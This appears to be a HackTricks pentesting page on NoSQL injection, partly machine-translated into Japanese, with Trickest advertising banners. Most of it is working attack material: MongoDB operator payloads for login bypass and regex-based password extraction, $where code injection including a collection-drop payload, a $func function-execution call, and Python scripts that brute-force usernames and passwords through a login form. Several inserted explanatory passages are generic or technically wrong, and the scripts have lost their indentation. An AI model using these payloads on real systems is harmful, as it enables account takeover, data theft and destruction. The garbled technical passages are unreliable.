hacktricks/pentesting-web/nosql-injection.md

22 KiB
Raw Blame History

NoSQLインジェクション


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

NoSQLデータベースは、従来のSQLデータベースよりも緩い整合性制約を提供します。関係の制約や整合性チェックが少なくても、NoSQLデータベースはパフォーマンスとスケーリングの利点を提供することがあります。しかし、これらのデータベースは、従来のSQL構文を使用していなくても、インジェクション攻撃の脆弱性がある可能性があります。

攻撃手法

PHPでは、送信されるパラメータを_parameter=foo_から_parameter[arrName]=foo_に変更することで、配列を送信することができます。

攻撃手法は、オペレータを追加することに基づいています。

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

基本認証のバイパス

等しくない ($ne) やより大きい ($gt) を使用する

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

SQLインジェクション

SQLインジェクションは、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込む場合に発生するセキュリティ脆弱性です。この脆弱性を悪用する攻撃者は、意図しないデータベース操作を実行したり、機密情報を盗み出したりすることができます。

NoSQLインジェクション

NoSQLデータベースMongoDBなどでは、SQLインジェクションと同様の脆弱性が存在します。NoSQLインジェクションは、クエリに直接ユーザーの入力を組み込むことで発生します。攻撃者は、データベースの操作を改ざんしたり、機密情報を漏洩させたりすることができます。

NoSQLインジェクションの例

以下は、NoSQLインジェクションの例です。

const username = req.body.username;
const password = req.body.password;

const query = {
  username: username,
  password: password
};

db.collection('users').findOne(query, (err, user) => {
  if (err) {
    throw err;
  }

  if (user) {
    res.send('Login successful');
  } else {
    res.send('Invalid username or password');
  }
});

上記のコードでは、ユーザーが提供したユーザー名とパスワードを使用してデータベースクエリを実行しています。しかし、このコードはユーザーの入力を適切に検証していません。したがって、攻撃者はユーザー名やパスワードの値を改ざんすることで、意図しないデータベース操作を行うことができます。

NoSQLインジェクションの防止策

NoSQLインジェクションを防ぐためには、以下の対策を実施する必要があります。

  • ユーザーの入力を適切に検証する。
  • クエリにユーザーの入力を直接組み込まず、プレースホルダーを使用する。
  • クエリのパラメーターにはデータ型を指定する。
  • アクセス制御を実施し、権限のないユーザーがデータベースにアクセスできないようにする。

これらの対策を実施することで、NoSQLインジェクションによる攻撃を防ぐことができます。

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

長さ情報の抽出

To extract the length information from a NoSQL database, you can use the following techniques:

NoSQL databases often provide functions or operators to retrieve the length of a field or attribute. These functions can be used to determine the length of a string or an array.

For example, in MongoDB, you can use the $strLenCP operator to get the length of a string. The following query retrieves the length of the username field in the users collection:

db.users.find({username: {$exists: true}}, {username: {$strLenCP: ""}})

Similarly, in CouchDB, you can use the length() function to get the length of an array. The following query retrieves the length of the emails array in the users database:

GET /users/_design/users/_view/emails?reduce=true

By extracting the length information, you can gain insights into the structure and size of the data stored in the NoSQL database, which can be useful for further analysis and exploitation.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

データ情報の抽出

NoSQLインジェクションは、NoSQLデータベースに対する攻撃手法の一つです。この攻撃手法では、アプリケーションがユーザーの入力を適切に検証せずにクエリを構築することによって、データベースから情報を抽出することが可能となります。

攻撃者は、NoSQLクエリのパラメータに対して特殊な文字列を挿入することで、データベースのクエリを改変します。これにより、攻撃者はデータベースから機密情報を抽出することができます。

NoSQLインジェクションの攻撃手法は、SQLインジェクションとは異なります。SQLインジェクションでは、SQLクエリの構造を変更することで攻撃を行いますが、NoSQLインジェクションでは、NoSQLクエリのパラメータを改変することで攻撃を行います。

NoSQLインジェクションの攻撃手法を防ぐためには、入力検証とエスケープ処理が重要です。アプリケーションは、ユーザーからの入力を信頼せず、適切な検証とエスケープ処理を行う必要があります。

また、NoSQLデータベースのセキュリティ設定を適切に行うことも重要です。データベースへのアクセス制御やアクセスログの監視などの対策を実施することで、NoSQLインジェクションのリスクを軽減することができます。

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

MongoDB is a popular NoSQL database that uses a document-oriented model. It is widely used in web applications and offers flexibility and scalability. However, like any other database, MongoDB is also vulnerable to injection attacks.

NoSQL Injection

NoSQL injection is similar to SQL injection, but it targets NoSQL databases like MongoDB. In a NoSQL injection attack, an attacker manipulates the input data to exploit vulnerabilities in the application's query logic.

Query Structure

MongoDB queries are structured using JSON-like syntax. The queries consist of key-value pairs, where the key represents the field to be queried and the value represents the search criteria.

Exploiting NoSQL Injection

To exploit a NoSQL injection vulnerability, an attacker needs to identify injection points in the application. These injection points can be found in user input fields, such as login forms, search boxes, or any other input that is used in database queries.

Once an injection point is identified, an attacker can manipulate the input to bypass authentication, retrieve sensitive information, or modify the query logic to perform unauthorized actions.

Payloads

NoSQL injection payloads are similar to SQL injection payloads. However, since MongoDB uses a different query syntax, the payloads need to be modified accordingly.

Some common NoSQL injection payloads include:

  • $ne: Matches values that are not equal to the specified value.
  • $gt: Matches values that are greater than the specified value.
  • $gte: Matches values that are greater than or equal to the specified value.
  • $lt: Matches values that are less than the specified value.
  • $lte: Matches values that are less than or equal to the specified value.
  • $regex: Matches values based on a regular expression pattern.

Prevention

To prevent NoSQL injection attacks, it is important to follow secure coding practices:

  • Input validation: Validate and sanitize user input to prevent malicious data from being injected into queries.
  • Parameterized queries: Use parameterized queries or prepared statements to ensure that user input is treated as data and not as part of the query logic.
  • Least privilege principle: Limit the privileges of the database user used by the application to minimize the impact of a successful injection attack.
  • Regular updates: Keep the MongoDB server and drivers up to date to benefit from the latest security patches and improvements.

By following these practices, you can significantly reduce the risk of NoSQL injection vulnerabilities in your application.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP任意関数実行

デフォルトで使用されるMongoLiteライブラリの**$func**演算子を使用すると、このレポートのように任意の関数を実行することが可能です。

"user":{"$func": "var_dump"}

異なるコレクションから情報を取得する

$lookupを使用して、異なるコレクションから情報を取得することができます。次の例では、usersという名前の異なるコレクションから読み取り、ワイルドカードに一致するパスワードを持つすべてのエントリの結果を取得しています。

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
今すぐアクセスを取得してください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Blind NoSQL

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

MongoDB ペイロード

NoSQL Injection

NoSQLインジェクションは、MongoDBなどのNoSQLデータベースに対する一般的な攻撃手法です。この攻撃では、クエリパラメータに悪意のある入力を注入することで、データベースの機能を悪用します。

ペイロードの例

以下に、NoSQLインジェクションに使用される一般的なペイロードの例を示します。

ユーザーの認証バイパス

username[$ne]=admin&password[$ne]=password

このペイロードは、usernameadminでなく、passwordpasswordでない場合に、認証をバイパスします。

データベースの情報漏洩

username[$regex]=.*&password[$regex]=.*

このペイロードは、正規表現を使用して、すべてのユーザー名とパスワードを漏洩させます。

コレクションのドロップ

username[$ne]=admin'&password[$ne]=password'&$where='db.collection.drop()'

このペイロードは、usernameadmin'でなく、passwordpassword'でない場合に、コレクションをドロップします。

対策方法

NoSQLインジェクションから保護するためには、以下の対策を実施することが重要です。

  • 入力検証とエスケープ処理の実施
  • ホワイトリストベースのフィルタリングの実施
  • アクセス制御の強化
  • 最新のバージョンのデータベースソフトウェアの使用

これらの対策を実施することで、NoSQLインジェクションによる攻撃を防ぐことができます。

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

ツール

POSTログインからのユーザー名とパスワードの総当たり攻撃

これは簡単なスクリプトですが、前述のツールでもこのタスクを実行することができます。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break

if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames


for u in get_usernames():
get_password(u)

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}